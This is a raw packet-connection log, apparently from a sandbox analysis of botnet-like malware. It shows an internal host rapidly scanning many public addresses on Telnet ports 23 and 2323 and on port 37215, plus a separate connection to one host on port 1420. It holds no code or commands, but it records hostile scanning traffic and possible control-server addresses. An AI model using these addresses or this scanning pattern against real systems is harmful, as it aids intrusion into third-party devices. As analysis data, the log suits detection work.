Nov 3, 2024 15:33:09.184325933 CET	37215	50404	197.240.205.11	192.168.2.14
Nov 3, 2024 15:33:09.184741974 CET	37215	50404	197.240.205.11	192.168.2.14
Nov 3, 2024 15:33:09.186279058 CET	37215	50422	197.240.205.11	192.168.2.14
Nov 3, 2024 15:33:09.186327934 CET	50422	37215	192.168.2.14	197.240.205.11
Nov 3, 2024 15:33:09.186357975 CET	50422	37215	192.168.2.14	197.240.205.11
Nov 3, 2024 15:33:09.193759918 CET	37215	50422	197.240.205.11	192.168.2.14
Nov 3, 2024 15:33:09.193825960 CET	50422	37215	192.168.2.14	197.240.205.11
Nov 3, 2024 15:33:09.212872028 CET	41090	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:09.219696045 CET	37215	41090	197.205.43.36	192.168.2.14
Nov 3, 2024 15:33:09.219888926 CET	41090	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:09.219907999 CET	41090	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:09.226792097 CET	37215	41090	197.205.43.36	192.168.2.14
Nov 3, 2024 15:33:09.226843119 CET	41090	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:09.244997025 CET	36968	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:09.251693964 CET	23	36968	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:09.251749039 CET	36968	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:09.258882999 CET	23	36968	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:09.259013891 CET	36968	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:09.259413958 CET	37064	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:09.265922070 CET	23	36968	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:09.266360044 CET	23	37064	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:09.266412020 CET	37064	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:09.273789883 CET	23	37064	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:09.273868084 CET	37064	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:09.274204016 CET	37066	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:09.280731916 CET	23	37064	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:09.280981064 CET	23	37066	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:09.281039953 CET	37066	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:09.308949947 CET	42930	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.316098928 CET	23	42930	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.316278934 CET	42930	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.323338032 CET	23	42930	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.323431015 CET	42930	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.323807001 CET	43024	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.330235004 CET	23	42930	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.330549002 CET	23	43024	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.330595016 CET	43024	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.337582111 CET	23	43024	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.337662935 CET	43024	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.337996006 CET	43026	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.340836048 CET	59680	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.344624043 CET	23	43024	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.344759941 CET	23	43026	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.344815016 CET	43026	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.347942114 CET	23	59680	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.348005056 CET	59680	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.352466106 CET	23	43026	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.352540970 CET	43026	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.352884054 CET	43028	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.355114937 CET	23	59680	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.355173111 CET	59680	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.355508089 CET	59776	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.359400988 CET	23	43026	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.359733105 CET	23	43028	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.359797001 CET	43028	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.361970901 CET	23	59680	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.362509966 CET	23	59776	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.362561941 CET	59776	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.366949081 CET	23	43028	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.367007971 CET	43028	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.367341042 CET	43032	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.369932890 CET	23	59776	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.370023966 CET	59776	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.370352030 CET	59780	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.373889923 CET	23	43028	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.374157906 CET	23	43032	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.374196053 CET	43032	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.376867056 CET	23	59776	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.377152920 CET	23	59780	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.377202034 CET	59780	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.381942034 CET	23	43032	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.382019997 CET	43032	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.382358074 CET	43036	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.384531021 CET	23	59780	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.384603024 CET	59780	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.384938955 CET	59784	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.388988018 CET	23	43032	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.389250040 CET	23	43036	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.389308929 CET	43036	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.391659021 CET	23	59780	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.391809940 CET	23	59784	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.391855955 CET	59784	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.396672010 CET	23	43036	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.396753073 CET	43036	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.397089958 CET	43040	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.398613930 CET	23	59784	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.398683071 CET	59784	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.399002075 CET	59788	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.403784037 CET	23	43036	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.404632092 CET	23	43040	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:09.404686928 CET	43040	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:09.405692101 CET	23	59784	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.407411098 CET	23	59788	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.407480001 CET	59788	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.414771080 CET	23	59788	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.414844990 CET	59788	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.415211916 CET	59790	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.421843052 CET	23	59788	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.422363997 CET	23	59790	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:09.422424078 CET	59790	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:09.584716082 CET	23	58410	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.584954023 CET	58410	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.584954023 CET	58410	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.585371017 CET	58490	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.590264082 CET	23	58410	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.590547085 CET	23	58490	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.590603113 CET	58490	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.596020937 CET	23	58490	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.596106052 CET	58490	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.596616983 CET	58492	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.600909948 CET	23	58490	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.601425886 CET	23	58492	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.601475000 CET	58492	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.606515884 CET	23	58492	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.606604099 CET	58492	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.606935978 CET	58494	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.612037897 CET	23	58492	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.612049103 CET	23	58494	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.612083912 CET	58494	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.618231058 CET	23	58494	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.618302107 CET	58494	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.618642092 CET	58496	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.623781919 CET	23	58494	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.624283075 CET	23	58496	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.624330044 CET	58496	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.630399942 CET	23	58496	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.630486012 CET	58496	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.630812883 CET	58498	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:09.635308981 CET	23	58496	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.635791063 CET	23	58498	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:09.635832071 CET	58498	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.087526083 CET	34382	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:10.092509985 CET	1420	34382	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:10.092581987 CET	34382	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:10.093422890 CET	34382	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:10.099558115 CET	1420	34382	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:10.099627972 CET	34382	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:10.105453968 CET	1420	34382	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:10.172972918 CET	34742	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:10.172975063 CET	45372	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:10.172975063 CET	56454	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:10.172975063 CET	35868	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:10.172976017 CET	45716	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:10.172977924 CET	45766	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:10.172977924 CET	43084	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:10.172977924 CET	48902	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:10.172975063 CET	53442	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:10.172977924 CET	57940	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:10.172975063 CET	37178	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:10.172981024 CET	37362	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:10.172981024 CET	42686	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:10.172981024 CET	33472	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:10.173007965 CET	41260	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:10.173007965 CET	43040	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:10.173008919 CET	54656	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:10.173008919 CET	43240	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:10.173012018 CET	59162	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:10.173012018 CET	53612	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:10.173012018 CET	51340	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:10.173012018 CET	53164	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:10.173012018 CET	45256	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:10.173012018 CET	40988	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.173017979 CET	44750	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:10.173038006 CET	51690	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:10.173038006 CET	33290	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:10.173038006 CET	40548	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:10.173039913 CET	54976	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:10.178107977 CET	23	34742	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:10.178117990 CET	37215	45716	156.244.104.217	192.168.2.14
Nov 3, 2024 15:33:10.178132057 CET	23	45372	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:10.178143024 CET	23	43084	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:10.178190947 CET	34742	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:10.178194046 CET	45372	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:10.178196907 CET	2323	45766	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:10.178198099 CET	43084	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:10.178203106 CET	45716	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:10.178208113 CET	23	48902	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:10.178217888 CET	23	57940	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:10.178226948 CET	37215	56454	197.78.199.67	192.168.2.14
Nov 3, 2024 15:33:10.178236008 CET	45766	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:10.178236008 CET	48902	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:10.178242922 CET	37215	41260	156.69.79.25	192.168.2.14
Nov 3, 2024 15:33:10.178253889 CET	37215	43040	197.86.1.46	192.168.2.14
Nov 3, 2024 15:33:10.178257942 CET	57940	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:10.178265095 CET	37215	35868	41.14.37.113	192.168.2.14
Nov 3, 2024 15:33:10.178265095 CET	56454	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:10.178277016 CET	23	37362	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:10.178284883 CET	41260	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:10.178287983 CET	23	53442	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:10.178288937 CET	43040	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:10.178297997 CET	37215	42686	197.53.160.110	192.168.2.14
Nov 3, 2024 15:33:10.178302050 CET	35868	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:10.178314924 CET	37215	51340	41.156.32.14	192.168.2.14
Nov 3, 2024 15:33:10.178320885 CET	53442	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:10.178323030 CET	37362	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:10.178323984 CET	37215	54656	156.171.108.22	192.168.2.14
Nov 3, 2024 15:33:10.178330898 CET	42686	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:10.178333998 CET	2323	37178	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:10.178350925 CET	54656	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:10.178354025 CET	51340	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:10.178375006 CET	37178	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:10.178462029 CET	4833	2323	192.168.2.14	185.179.141.90
Nov 3, 2024 15:33:10.178462029 CET	4833	23	192.168.2.14	126.121.188.121
Nov 3, 2024 15:33:10.178463936 CET	4833	23	192.168.2.14	81.202.219.153
Nov 3, 2024 15:33:10.178464890 CET	45716	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:10.178468943 CET	4833	23	192.168.2.14	151.141.133.84
Nov 3, 2024 15:33:10.178479910 CET	4833	23	192.168.2.14	47.211.156.147
Nov 3, 2024 15:33:10.178483009 CET	4833	23	192.168.2.14	57.77.17.204
Nov 3, 2024 15:33:10.178487062 CET	4833	23	192.168.2.14	94.225.74.133
Nov 3, 2024 15:33:10.178487062 CET	4833	23	192.168.2.14	199.59.48.194
Nov 3, 2024 15:33:10.178488970 CET	4833	23	192.168.2.14	5.127.89.240
Nov 3, 2024 15:33:10.178489923 CET	4833	23	192.168.2.14	149.229.95.150
Nov 3, 2024 15:33:10.178499937 CET	4833	2323	192.168.2.14	175.243.137.81
Nov 3, 2024 15:33:10.178504944 CET	4833	23	192.168.2.14	152.189.235.149
Nov 3, 2024 15:33:10.178518057 CET	4833	23	192.168.2.14	2.26.167.235
Nov 3, 2024 15:33:10.178519964 CET	4833	23	192.168.2.14	89.21.15.83
Nov 3, 2024 15:33:10.178528070 CET	4847	37215	192.168.2.14	156.237.223.183
Nov 3, 2024 15:33:10.178530931 CET	4847	37215	192.168.2.14	41.89.192.221
Nov 3, 2024 15:33:10.178530931 CET	4833	23	192.168.2.14	31.30.83.161
Nov 3, 2024 15:33:10.178544998 CET	4833	23	192.168.2.14	43.130.146.112
Nov 3, 2024 15:33:10.178550005 CET	4833	23	192.168.2.14	64.1.217.115
Nov 3, 2024 15:33:10.178553104 CET	4847	37215	192.168.2.14	41.215.186.20
Nov 3, 2024 15:33:10.178558111 CET	4833	23	192.168.2.14	77.255.169.129
Nov 3, 2024 15:33:10.178563118 CET	4833	23	192.168.2.14	68.14.235.251
Nov 3, 2024 15:33:10.178564072 CET	4833	23	192.168.2.14	86.23.19.81
Nov 3, 2024 15:33:10.178563118 CET	4833	2323	192.168.2.14	38.118.212.53
Nov 3, 2024 15:33:10.178580046 CET	23	43240	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:10.178582907 CET	4847	37215	192.168.2.14	156.79.181.88
Nov 3, 2024 15:33:10.178585052 CET	4833	23	192.168.2.14	104.110.66.252
Nov 3, 2024 15:33:10.178591013 CET	23	44750	54.33.199.213	192.168.2.14
Nov 3, 2024 15:33:10.178595066 CET	4833	23	192.168.2.14	117.34.138.170
Nov 3, 2024 15:33:10.178596020 CET	4847	37215	192.168.2.14	41.149.135.100
Nov 3, 2024 15:33:10.178601027 CET	23	59162	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:10.178607941 CET	4833	23	192.168.2.14	208.120.35.138
Nov 3, 2024 15:33:10.178607941 CET	4833	23	192.168.2.14	189.252.192.96
Nov 3, 2024 15:33:10.178608894 CET	4833	23	192.168.2.14	182.63.15.186
Nov 3, 2024 15:33:10.178608894 CET	4833	23	192.168.2.14	179.194.240.200
Nov 3, 2024 15:33:10.178607941 CET	4833	23	192.168.2.14	75.237.195.128
Nov 3, 2024 15:33:10.178610086 CET	23	33472	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:10.178611040 CET	4833	23	192.168.2.14	174.53.113.165
Nov 3, 2024 15:33:10.178621054 CET	23	53612	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:10.178622007 CET	43240	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:10.178622007 CET	4847	37215	192.168.2.14	41.165.33.211
Nov 3, 2024 15:33:10.178622007 CET	4847	37215	192.168.2.14	41.200.60.53
Nov 3, 2024 15:33:10.178622007 CET	4847	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:10.178630114 CET	4833	23	192.168.2.14	103.31.110.247
Nov 3, 2024 15:33:10.178631067 CET	37215	53164	197.200.127.154	192.168.2.14
Nov 3, 2024 15:33:10.178632975 CET	44750	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:10.178639889 CET	59162	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:10.178639889 CET	4833	2323	192.168.2.14	183.75.79.123
Nov 3, 2024 15:33:10.178641081 CET	23	45256	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:10.178651094 CET	53612	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:10.178653955 CET	23	40988	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.178657055 CET	33472	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:10.178657055 CET	4847	37215	192.168.2.14	156.152.67.146
Nov 3, 2024 15:33:10.178663969 CET	23	54976	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:10.178664923 CET	53164	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:10.178668976 CET	4847	37215	192.168.2.14	197.220.105.216
Nov 3, 2024 15:33:10.178668976 CET	45256	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:10.178683043 CET	37215	51690	197.12.141.193	192.168.2.14
Nov 3, 2024 15:33:10.178694010 CET	37215	33290	41.14.57.126	192.168.2.14
Nov 3, 2024 15:33:10.178695917 CET	4833	23	192.168.2.14	155.31.16.112
Nov 3, 2024 15:33:10.178697109 CET	23	40548	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:10.178709030 CET	4833	23	192.168.2.14	209.39.7.158
Nov 3, 2024 15:33:10.178709984 CET	4847	37215	192.168.2.14	156.14.116.151
Nov 3, 2024 15:33:10.178709984 CET	4833	23	192.168.2.14	220.231.70.84
Nov 3, 2024 15:33:10.178709984 CET	4833	23	192.168.2.14	167.141.241.0
Nov 3, 2024 15:33:10.178709984 CET	40988	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.178710938 CET	54976	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:10.178710938 CET	4833	23	192.168.2.14	177.228.57.38
Nov 3, 2024 15:33:10.178718090 CET	4847	37215	192.168.2.14	156.180.234.137
Nov 3, 2024 15:33:10.178721905 CET	4847	37215	192.168.2.14	156.114.118.225
Nov 3, 2024 15:33:10.178721905 CET	4833	23	192.168.2.14	36.4.0.55
Nov 3, 2024 15:33:10.178730011 CET	51690	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:10.178730011 CET	33290	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:10.178730965 CET	4833	23	192.168.2.14	104.51.17.105
Nov 3, 2024 15:33:10.178733110 CET	4833	23	192.168.2.14	43.9.243.43
Nov 3, 2024 15:33:10.178733110 CET	4833	23	192.168.2.14	118.110.255.58
Nov 3, 2024 15:33:10.178741932 CET	40548	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:10.178742886 CET	4833	2323	192.168.2.14	20.107.20.172
Nov 3, 2024 15:33:10.178759098 CET	4833	23	192.168.2.14	92.29.206.76
Nov 3, 2024 15:33:10.178759098 CET	4847	37215	192.168.2.14	156.188.114.75
Nov 3, 2024 15:33:10.178761005 CET	4847	37215	192.168.2.14	156.17.240.9
Nov 3, 2024 15:33:10.178761005 CET	4833	23	192.168.2.14	78.237.141.7
Nov 3, 2024 15:33:10.178761005 CET	4847	37215	192.168.2.14	156.212.44.200
Nov 3, 2024 15:33:10.178770065 CET	4847	37215	192.168.2.14	41.12.130.19
Nov 3, 2024 15:33:10.178775072 CET	4847	37215	192.168.2.14	41.14.110.243
Nov 3, 2024 15:33:10.178776026 CET	4833	23	192.168.2.14	175.39.31.95
Nov 3, 2024 15:33:10.178776026 CET	4847	37215	192.168.2.14	156.84.146.157
Nov 3, 2024 15:33:10.178776026 CET	4833	23	192.168.2.14	188.249.113.76
Nov 3, 2024 15:33:10.178776979 CET	4833	23	192.168.2.14	218.131.63.73
Nov 3, 2024 15:33:10.178782940 CET	4847	37215	192.168.2.14	156.47.231.120
Nov 3, 2024 15:33:10.178792953 CET	4833	23	192.168.2.14	95.46.245.131
Nov 3, 2024 15:33:10.178797960 CET	4833	23	192.168.2.14	151.252.118.77
Nov 3, 2024 15:33:10.178806067 CET	4833	23	192.168.2.14	60.180.208.34
Nov 3, 2024 15:33:10.178807974 CET	4833	23	192.168.2.14	2.154.29.191
Nov 3, 2024 15:33:10.178807974 CET	4833	2323	192.168.2.14	79.46.106.86
Nov 3, 2024 15:33:10.178813934 CET	4847	37215	192.168.2.14	156.2.34.236
Nov 3, 2024 15:33:10.178814888 CET	4833	23	192.168.2.14	71.194.224.74
Nov 3, 2024 15:33:10.178822994 CET	4847	37215	192.168.2.14	197.72.62.62
Nov 3, 2024 15:33:10.178824902 CET	4847	37215	192.168.2.14	197.209.167.121
Nov 3, 2024 15:33:10.178824902 CET	4833	23	192.168.2.14	85.88.92.189
Nov 3, 2024 15:33:10.178832054 CET	4833	23	192.168.2.14	166.173.201.74
Nov 3, 2024 15:33:10.178837061 CET	4847	37215	192.168.2.14	197.208.51.196
Nov 3, 2024 15:33:10.178839922 CET	4833	23	192.168.2.14	123.189.225.183
Nov 3, 2024 15:33:10.178845882 CET	4847	37215	192.168.2.14	197.71.181.84
Nov 3, 2024 15:33:10.178853989 CET	4833	23	192.168.2.14	68.8.66.76
Nov 3, 2024 15:33:10.178864956 CET	4833	23	192.168.2.14	84.142.24.229
Nov 3, 2024 15:33:10.178864956 CET	4833	23	192.168.2.14	192.203.196.120
Nov 3, 2024 15:33:10.178864956 CET	4833	23	192.168.2.14	17.203.14.1
Nov 3, 2024 15:33:10.178873062 CET	4847	37215	192.168.2.14	197.183.224.6
Nov 3, 2024 15:33:10.178873062 CET	4847	37215	192.168.2.14	156.190.45.49
Nov 3, 2024 15:33:10.178877115 CET	4833	2323	192.168.2.14	141.250.69.95
Nov 3, 2024 15:33:10.178880930 CET	4833	23	192.168.2.14	220.34.42.35
Nov 3, 2024 15:33:10.178896904 CET	4833	23	192.168.2.14	85.244.172.76
Nov 3, 2024 15:33:10.178896904 CET	4847	37215	192.168.2.14	156.245.151.34
Nov 3, 2024 15:33:10.178900957 CET	4833	23	192.168.2.14	12.182.112.51
Nov 3, 2024 15:33:10.178909063 CET	4833	23	192.168.2.14	115.104.158.79
Nov 3, 2024 15:33:10.178911924 CET	4833	23	192.168.2.14	43.26.55.78
Nov 3, 2024 15:33:10.178911924 CET	4833	23	192.168.2.14	61.215.160.73
Nov 3, 2024 15:33:10.178920031 CET	4847	37215	192.168.2.14	41.172.153.65
Nov 3, 2024 15:33:10.178932905 CET	4833	23	192.168.2.14	82.115.131.2
Nov 3, 2024 15:33:10.178932905 CET	4833	2323	192.168.2.14	154.89.161.232
Nov 3, 2024 15:33:10.178940058 CET	4833	23	192.168.2.14	19.179.124.113
Nov 3, 2024 15:33:10.178940058 CET	4833	23	192.168.2.14	119.224.26.54
Nov 3, 2024 15:33:10.178942919 CET	4833	23	192.168.2.14	14.215.122.196
Nov 3, 2024 15:33:10.178946972 CET	4833	23	192.168.2.14	47.200.135.215
Nov 3, 2024 15:33:10.178951025 CET	4847	37215	192.168.2.14	197.34.130.135
Nov 3, 2024 15:33:10.178967953 CET	4833	23	192.168.2.14	160.2.78.102
Nov 3, 2024 15:33:10.178968906 CET	4833	23	192.168.2.14	212.254.16.127
Nov 3, 2024 15:33:10.178970098 CET	4833	23	192.168.2.14	94.155.170.69
Nov 3, 2024 15:33:10.178975105 CET	4847	37215	192.168.2.14	41.58.20.218
Nov 3, 2024 15:33:10.178977013 CET	4833	23	192.168.2.14	17.253.112.81
Nov 3, 2024 15:33:10.178985119 CET	4833	23	192.168.2.14	109.93.8.136
Nov 3, 2024 15:33:10.178987980 CET	4833	23	192.168.2.14	123.32.85.29
Nov 3, 2024 15:33:10.178987980 CET	4833	23	192.168.2.14	165.52.22.194
Nov 3, 2024 15:33:10.178987980 CET	4833	23	192.168.2.14	75.72.160.113
Nov 3, 2024 15:33:10.178987980 CET	4847	37215	192.168.2.14	41.151.47.52
